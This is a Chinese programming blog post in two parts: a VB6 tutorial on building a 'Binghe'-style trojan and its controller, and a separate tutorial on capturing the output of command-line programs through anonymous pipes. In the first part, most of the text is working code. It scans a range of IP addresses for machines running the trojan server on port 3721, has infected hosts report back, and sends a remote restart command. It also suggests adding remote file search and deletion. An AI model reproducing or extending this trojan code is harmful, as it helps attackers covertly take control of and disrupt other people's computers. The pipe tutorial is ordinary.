程控制中关于搜索、控制计算机的功能 和 VB中截获shell程序的输出

 相信大家对“冰河”之类的软件一定都非常的感兴趣,这里我们一起来讨论一下“冰河”类软件中关于如何实现搜索、控制远端计算机(在局域网、或互联网上搜索那些中了木马的机器)的功能。
一、 编程原理
客户端程序:(控制远端计算机)
在 VB 中,我们可以通过 Winsock 控件的 TCP 协议,通过循环向指定的各个 IP 地地址的指定端口发送连接请示,然后分析返回值,已确定哪些机器是我们可以控制的。
服务器端程序:(也就是木马)
同样通过 Winsock 控件的 TCP 协议,通过监视指定的端口,取得相关的信息,分析信息是否为客房端程序发送过来的信息,然后进行一定的处理。
二、 基础知识
下面介绍一下 Winsock 控件的属性、方法、事件,这样大家对程序就会有更深的了解。
Winsock 控件的属性:
.LocalIP 属性        返回本地机器的 IP 地址,格式是 IP 地址加点字符串 (xxx.xxx.xxx.xxx)。在设计时是只读的,而且是不可用的。
.Protocol 属性       返回或设置 Winsock 控件所使用的协议— 或者是 TCP,或者是 UDP。
.RemotePort 属性     要连接的远程计算机的端口。
.RemoteHost 属性     要连接的远程计算机的名称,也可以是 IP 地址。
.LocalHostName 属性 返回本地机器名。在设计时是只读的,而且是不可用的。
.State 属性          返回控件的状态
State 属性的设置值是:
常数                     值    描述
sckClosed                0     缺省的。关闭
sckOpen                  1     打开
sckListening             2     侦听
sckConnectionPending     3     连接挂起
sckResolvingHost         4     识别主机
sckHostResolved          5     已识别主机
sckConnecting            6     正在连接
sckConnected             7     已连接
sckClosing               8     同级人员正在关闭连接
sckError                 9     错误


Winsock 控件的方法
.Connect 方法        要求连接到远程计算机。
.Close 方法          对客户机和服务器应用程序关闭 TCP 连接或侦听套接字。
.Listen 方法         创建套接字并将其设置为侦听模式。该方法仅适用于 TCP 连接。
.GetData 方法        获取当前的数据块并将其存储在变体类型的变量中。
.Accept 方法         仅适用于 TCP 服务器应用程序。在处理 ConnectionRequest 事件时用这个方法接受新连接。

Winsock 控件的事件
.ConnectionRequest 事件 `当远程计算机请求连接时出现。仅适用于 TCP 服务器应用程序。
.DataArrival 事件    `当新数据到达时出现。

三、 编程实践
下面我们就以一个实例来说明,如何实现用控制程序(客户端的程序)在局域网或互联网上搜索运行了木马(服务端的程序)的计算机,并对其进行控制(让该计算机重新启动)。
(1)客户端程序:
1、新建一个 VB 工程,添加一个 Winsock 控件(用来实现远程连接);一个 ProgressBar 控件;一个 List 控件(显示可以控制的计算机的 IP 地址);一个 Frame 控件,其 Caption 为 “搜索范围”;七个 Label 控件,其 Name 都为默认值,Caption 分别为 “监听端口:”,“延迟时间:”,“毫秒”,“起始域:”,“起始地址:”,“终此地址:”,“搜索结果:”;二个 Command 控件,其 Name 都为默认值,Caption 分别为“开始搜索”,“程序结束”,一个 StatusBar 控件(其中涉及的几个非常规控件,请按下面的步骤加载:工程→部件→Micrsoft Windows Common Controls 5.0;Microsoft Winsock Control 6.0),程序设计界面如图1所示:(是不是和冰河 V2.2 版中搜索计算机的窗口非常相似呀)
2、现在切换到代码编辑窗口,依次写入以下代码:
注意:在下面程序中我所提到的“木马”,就是服务器端的程序
①全局变量的声名
CODE:

Option Explicit
Dim myip As String    `保存本地 IP 地址
Dim IsFind As Boolean `判断计算机是否可以控制
Dim temp_i, temp_j, temp_n, temp_o, sum_i As Long    `5 个临时变量
②程序初始化设置
Private Sub Form_Load()
      myip = Winsock1.LocalIP `返回本地机器的 IP 地址,在设计时是只读的,而且是不可用的。
      Winsock1.Protocol = sckTCPProtocol    `使用 TCP 协议
      `程序初始化设置
      Text1(0).Text = "3721"    `为服务器端口值
      Text1(1).Text = "2000"    `搜索木马机器的延迟时间
      For temp_j = 1 To 3
          temp_i = InStr(temp_i + 1, myip, ".")
      Next
      Text1(2).Text = Left(myip, temp_i - 1)    `起始域
      Text1(3).Text = "1" `起始地址
      Text1(4).Text = "10"      `终此地址
      StatusBar1.Style = sbrSimple `设置 StatusBar 控件的样式
      StatusBar1.SimpleText = "准备搜索"    `设置 StatusBar 显示的文本
End Sub
③开始搜索中木马的计算机
CODE:

Private Sub Command1_Click()
On Error GoTo error1
              sum_i = 0 `用来保存搜索到的计算机数目
              temp_j = ProgressBar1.Min     `取得 ProgressBar 控件的最小值
              List1.Enabled = False
              List1.Clear `清空列表框
              StatusBar1.SimpleText = "开始搜索计算机....."
              Command1.Enabled = False
              For temp_i = 0 To 4
                  Text1(temp_i).Enabled = False
              Next
              `进行一系列的错误判断
              If Int(Text1(3)) < 0 Then GoTo error1
              If Int(Text1(4)) < 0 Then GoTo error1
              If Int(Text1(4)) - Int(Text1(3)) < 0 Then GoTo error1
              ProgressBar1.Max = (Int(Text1(4)) - Int(Text1(3)) + 1) * 10 `定义 ProgressBar 控件的最大值,在后面的程序中可以实现"进度条"
              For temp_i = Int(Text1(3)) To Int(Text1(4)) `循环开始连接各个 IP 地址
                  StatusBar1.SimpleText = "正在连接" & Text1(2).Text & "." & temp_i & "....."
                  IsFind = SearchComputer(Text1(2).Text & "." & temp_i)     `通过自定函数 SearchComputer 判断该 IP 地址,是否有可以控制的计算机
                  temp_j = temp_j + 10      `定义"进度条"增加的块数
                  ProgressBar1.Value = temp_j `增加“进度条"的块数,以产生动态变化
                  StatusBar1.SimpleText = "搜索完毕,共找到" & sum_i & "台计算机可以控制"
              Next
              Command1.Enabled = True
              List1.Enabled = True
              For temp_i = 0 To 4
                  Text1(temp_i).Enabled = True
              Next
  
      Exit Sub
error1:
      MsgBox "程序运行错误,请重新设置后,再运行本程序!!", vbCritical, "程序错误"
      For temp_i = 0 To 4
          Text1(temp_i).Enabled = True
      Next
      List1.Clear
      Command1.Enabled = True
      StatusBar1.SimpleText = "准备搜索"
End Sub
④自定义 SearchComputer 函数,用来判断指定 IP 地址的计算机是否可以控制
CODE:

Private Function SearchComputer(ByVal ip As String) As Boolean     `自定义函数,判断指定 IP 地址的计算机是否可以控制
On Error Resume Next `在 Win98 下测试时,有时间会出现“没有可用的缓冲空间”的错误,而在 Win2000 下测试时则不会出现该错误,因此为了防止程序出现致命的错误,就用了这个 On Error Resume Next
      Dim PauseTime, Start As Long `定义暂停的时间,及开始斩停的时间
      Winsock1.Close    `关闭 TCP 连接,以便下次连接
      Winsock1.Protocol = sckTCPProtocol    `使用 TCP 协议
      Winsock1.RemotePort = Val(Text1(0).Text) `要连接的远程计算机的端口,一般不要改变,因为在下面制做的服务器端的程序中,就是监视本程序的默认端口      Winsock1.RemoteHost = ip      `要连接的远程计算机的名称,也可以是 IP 地址
      Winsock1.Connect `要求连接到远程计算机
  
      PauseTime = Val(Text1(1).Text) / 1000    ` 设置延迟时间,把毫秒转换为秒。
      Start = Timer     ` 设置开始暂停的时刻
    
      Do While Timer < Start + PauseTime
          DoEvents      `转让控制权,以便让操作系统处理其它的事件。
                      `在设置的延迟时间内,连接远程的计算机
      Loop
     `Loop Until Winsock1.State = sckConnected Or Winsock1.State = sckError `也可以为永远的连接远程的计算机,除非发生错误或连接成功才退出

      If Winsock1.State = sckError Then SearchComputer = False `连接错误
      If Winsock1.State = sckConnected Then
          SearchComputer = True          `连接成功
          Winsock1.SendData "Call" `向服务端的程序发送信息,以通知需要进行连接,如果服务端程序有响应则会发回相应的信息
          PauseTime = 1 ` 设置延迟时间
          Start = Timer     ` 设置开始暂停的时刻
          Do While Timer < Start + PauseTime
              DoEvents      `转让控制权,以便让操作系统处理其它的事件。
                          `让服务端的程序有足够的时间处理 Winsock1.SendData "Call"
          Loop
      End If
End Function
⑤接受服务端程序发出的信息,从中取出所需要的信息,进行处理(取得中木马计算机的 IP 地址)
CODE:

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) `当新数据到达时出现
On Error Resume Next
      Dim getinfo As String `用来保存取得的信息
      Dim isgetinfo As Boolean `一个临时的变量
      Winsock1.GetData getinfo, vbString `取得信息
    
      temp_o = InStr(1, getinfo, "OK")
      If temp_o <> 0 Then
          getinfo = Right(getinfo, Len(getinfo) - 2)
          For temp_n = 0 To List1.ListCount
              If InStr(1, List1.List(temp_n), getinfo) = 0 Then
                  isgetinfo = True
              Else
                  isgetinfo = False
                  Exit For
              End If
          Next
        
          If isgetinfo = True Then
              List1.AddItem getinfo `把 IP 地址写到 List1 中
              sum_i = sum_i + 1
          End If
      End If
      End Sub
⑥对远程计算机进行一定的操作(使用远程计算机重新启动)
CODE:

Private Sub List1_DblClick() `在本程序中是通过双击 List 中显示的 IP 地址,使该计算机重新启动
      Dim yn As Long
      yn = MsgBox("是否关闭该计算机上的服务器程序!!", vbYesNo + vbExclamation, "远程控制")
      If yn = vbYes Then
          IsFind = SearchComputer(List1.List(List1.ListIndex)) (注意1)
          If IsFind = True Then
              Winsock1.SendData "Restart" `向服务端的程序发送重新启动计算机的命令
              List1.RemoveItem (List1.ListIndex)
          End If
      End If
End Sub
⑦在文本档上上移动光标时实现全选
Private Sub Text1_GotFocus(Index As Integer)      `当文本框得到光标时自动全选
      For temp_i = 0 To 4
          AutoSelect Text1(temp_i)
      Next
End Sub

Private Sub AutoSelect(SelObject As Control)
          SelObject.SelLength = Len(SelObject.Text)
End Sub
2)服务器端程序的编写:
1、新建一个 VB 工程,添加两个 Winsock 控件(Winsock1 用来监视指定端口,以确定客户端程序是否与自己发生连接,Winsock2 用来实现与客户端程序的对话),程序设计界面如图2所示。
2、现在切换到代码编辑窗口,依次写入以下代码:
①用 Winsock1 来监视指定的端口
CODE:

Option Explicit
Private Sub Form_Load()
      Me.Caption = Winsock1.LocalIP
      Winsock1.RemoteHost = Winsock1.LocalIP      `要连接的远程计算机的名称,这里是设置为本地机器的名称
      Winsock1.LocalPort = 3721 `设置需要监视的端口,要和客户机的一样
      Winsock1.Listen `将其设置为监听状态
End Sub
⑵用 Winsock2 来实现与客户端程序的对话
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) `当远程计算机请求连接时出现
      If Winsock2.State <> sckClosed Then Winsock2.Close
      Winsock2.Accept requestID
End Sub

Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long) `当新数据到达时出现
      Dim PauseTime, Start As Long
      Dim getinfo As String
      Winsock2.GetData getinfo, vbString `取得客户端程序发过来的信息
      Select Case CStr(getinfo)
          Case "Call" `如果为 “Call”,则把本身的 IP 地址发送回客户机(这个客户机就可以对本机进行控制了)
              Winsock2.SendData "OK!*" & Winsock1.LocalIP
          Case "Restart" `接受客户机命令,进行重新启动
              ` Shell ("rundll.exe user.exe,exitwindowsexec") ‘在调试程序时先注释到,先用关闭自身的程序来测试吧
              Unload Me
      End Select
`大家可以在服务端的程序中,设计许多的操作,如查找、删除、新建文件等等的操作,并一一定义,这样在接受到客户端发过来的信息后,可以进行各类不同的操作
End Sub
四、 补充说明:
为了使用程序容易理解,我没有对 Winsock 控件进行动态的控制。
(1)在客户端的程序中:如在自定义函数 SearchComputer 中如果连接上服务器端的程序后,就因该再动态新增一个 Winsock 控件,进行接着的操作,保存原来的以便需要对服务器端进行操作时使用,而不会在 (注意1)进行再次连接
(2)在服务器端的程序中:如果有一个用户连接就因该至少有两个 Winsock 控件,如果有两个用户同时连接,则要有三个 Winsock 控件,依次类堆,因此也需要动态新增 Winsock 控件。
五、 程序完成:
希望大家读完本程序,对 Winsock 控件有更深的了解,希望大家对远程控制类(冰河)类软件有更深的了解,本程序在 PWIN2000+VB6.0 下编辑完成,在 Pwin98、Pwin2000+局域网 上运行正常。
在Windows环境下的所谓shell程序就是dos命令行程序,比如VC的CL.exe命令行编译器,JDK的javac编译器,启动java程序用的java.exe都是标准的shell程序。截获一个shell程序的输出是很有用的,比如说您可以自己编写一个IDE(集成开发环境),当用户发出编译指令时候,你可以在后台启动shell 调用编译器并截获它们的输出,对这些输出信息进行分析后在更为友好的用户界面上显示出来。为了方便起见,我们用VB作为本文的演示语言。

通常,系统启动Shell程序时缺省给定了3个I/O信道,标准输入(stdin), 标准输出stdout, 标准错误输出stderr。之所以这么区分是因为在早期的计算机系统如PDP-11的一些限制。那时没有GUI, 将输出分为stdout,stderr可以避免程序的调试信息和正常输出的信息混杂在一起。

通常, shell程序把它们的输出写入标准输出管道(stdout)、把出错信息写入标准错误管道(stderr)。缺省情况下,系统将管道的输出直接送到屏幕,这样一来我们就能看到应用程序运行结果了。

为了捕获一个标准控制台应用程序的输出,我们必须把standOutput和standError管道输出重定向到我们自定义的管道。

下面的代码可以启动一个shell程序,并将其输出截获。
CODE:

'执行并返回一个命令行程序(shell程序)的标准输出和标准错误输出'通常命令行程序的所有输出都直接送到屏幕上
Private Function ExecuteApp(sCmdline As String) As String
Dim proc As PROCESS_INFORMATION, ret As Long
Dim start As STARTUPINFO Dim sa As SECURITY_ATTRIBUTES
Dim hReadPipe As Long '负责读取的管道
Dim hWritePipe As Long '负责Shell程序的标准输出和标准错误输出的管道
Dim sOutput As String '放返回的数据
Dim lngBytesRead As Long, sBuffer As String * 256
sa.nLength = Len(sa)
sa.bInheritHandle = True
ret = CreatePipe(hReadPipe, hWritePipe, sa, 0)
If ret = 0 Then
MsgBox "CreatePipe failed. Error: " & Err.LastDllError
Exit Function
End If
start.cb = Len(start)
start.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW' 把标准输出和标准错误输出重定向到同一个管道中去。
start.hStdOutput = hWritePipe
start.hStdError = hWritePipe
start.wShowWindow = SW_HIDE ’隐含shell程序窗口 ' 启动shell程序, sCmdLine指明执行的路径
ret = CreateProcessA(0&, sCmdline, sa, sa, True, NORMAL_PRIORITY_CLASS, _ 0&, 0&, start, proc)
If ret = 0 Then
MsgBox "无法建立新进程,错误码:" & Err.LastDllError Exit Function End If ' 本例中不必向shell程序送信息,因此可以先关闭hWritePipe
CloseHandle hWritePipe ' 循环读取shell程序的输出,每次读取256个字节。
Do ret = ReadFile(hReadPipe, sBuffer, 256, lngBytesRead, 0&)
sOutput = sOutput & Left$(sBuffer, lngBytesRead)
Loop While ret <> 0 ' 如果ret=0代表没有更多的信息需要读取了
' 释放相关资源
CloseHandle proc.hProcess
CloseHandle proc.hThread
CloseHandle hReadPipe
ExecuteApp = sOutput
输出结果
End Function
我对这个程序进行一些解释。

ret = CreatePipe(hReadPipe, hWritePipe, sa, 0)

大家可以看到,首先我们建立一个匿名管道。该匿名管道稍候将用来取得与被截获的应用程序的联系。其中hReadPipe用来获取shell程序的输出,而hWritePipe可以用来向应用程序发送信息。如同现实世界中的水管一样,水从管道的一端流进从另一端流出。您把水想象为信息,水管就是匿名管道,这样一来就很好理解这段程序了。
然后就是设置shell应用程序的初始属性。 Dwflags可以指示系统在创建新进程时新进程使用了自定义的wShowWindow, hStdInput,hStdOutput和hStdError。(windows显示属性,标准输入,标准输出,标准错误输出。)
再把shell应用程序的标准输出和标准错误输出都定向到我们预先建好的管道中。
代码如下:

start.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
start.hStdOutput = hWritePipe
start.hStdError = hWritePipe
好,现在可以调用建立新进程的函数了:
ret = CreateProcessA(0&, sCmdline, sa, sa, True, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)
然后,循环读管道里的数据直到无数据可读为止。
Do
ret = ReadFile(hReadPipe, sBuffer, 256, lngBytesRead, 0&) '每次读256字节
sOutput = sOutput & Left$(sBuffer, lngBytesRead) '送入一个字符串中
Loop While ret <> 0 '若 ret = 0 表明没有数据等待读取。
然后,释放不用的资源。

用法很简单:比如:
MsgBox ExecuteApp("c:\windows\command\mem.exe)

是很方便吧?
不过,这些程序是在NT下的,如果要在95下实现还需要一点点改动。因为如果该函数调用一个纯win32的程序,没问题。可是95是16,win32混合的系统,当你试图调用一个16位的DOS应用程序那么,那么这个办法会导致相关进程挂起。因为这涉及到WindowsNT和Windows 95对shell的不同实现。
在win95中,16位shell程序关闭时并不保证重定向的管道也关闭,这样,当你的程序试图读取一个已经关闭的shell程序的重定向管道时,你的程序就挂了。
那么,有解决办法吗?回答是肯定的。
解决办法就是用一个win32的应用程序作为您的应用程序和shell程序的中间人。中间人程序继承并重定向了主程序的输入输出,然后中间人程序启动指定的shell程序。该shell程序也就继承并重定向了主程序的输入输出。中间人程序一直等到shell程序结束才结束。
当shell程序结束时,中间人程序也结束,同时因为中间人程序是一个win32程序,那么它就会关闭相应的重定向了管道。这样,你的程序可以发现管道已经关闭,便可以跳出循环。你的程序就不会挂起了。
下面是相关的中间人程序C代码的实现:
CODE:

#include <windows.h>
#include <stdio.h>
void main (int argc, char *argv[]){
BOOL bRet = FALSE;
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
// Make child process use this app's standard files.
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = GetStdHandle (STD_INPUT_HANDLE);
si.hStdOutput = GetStdHandle (STD_OUTPUT_HANDLE);
si.hStdError = GetStdHandle (STD_ERROR_HANDLE);
bRet = CreateProcess (NULL, argv[1], NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );
if (bRet) { WaitForSingleObject (pi.hProcess, INFINITE); CloseHandle (pi.hProcess); CloseHandle (pi.hThread); }}
把该程序编译为conspawn.exe并放在系统可以调用到的路径目录中。
然后把文章开头提到的代码中的CreateProcessA语句改为:
ret = CreateProcessA(0&, "conspawn """ & sCmdline & """", sa, sa, True,
NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)
好,这样一来,我们这个函数可以同时很好的支持WindowsNT和Windows95/98了。

posted @ 2008-11-28 16:56  googlegis  阅读(253)  评论(0编辑  收藏  举报

坐标合肥,非典型GIS开发人员 GitHub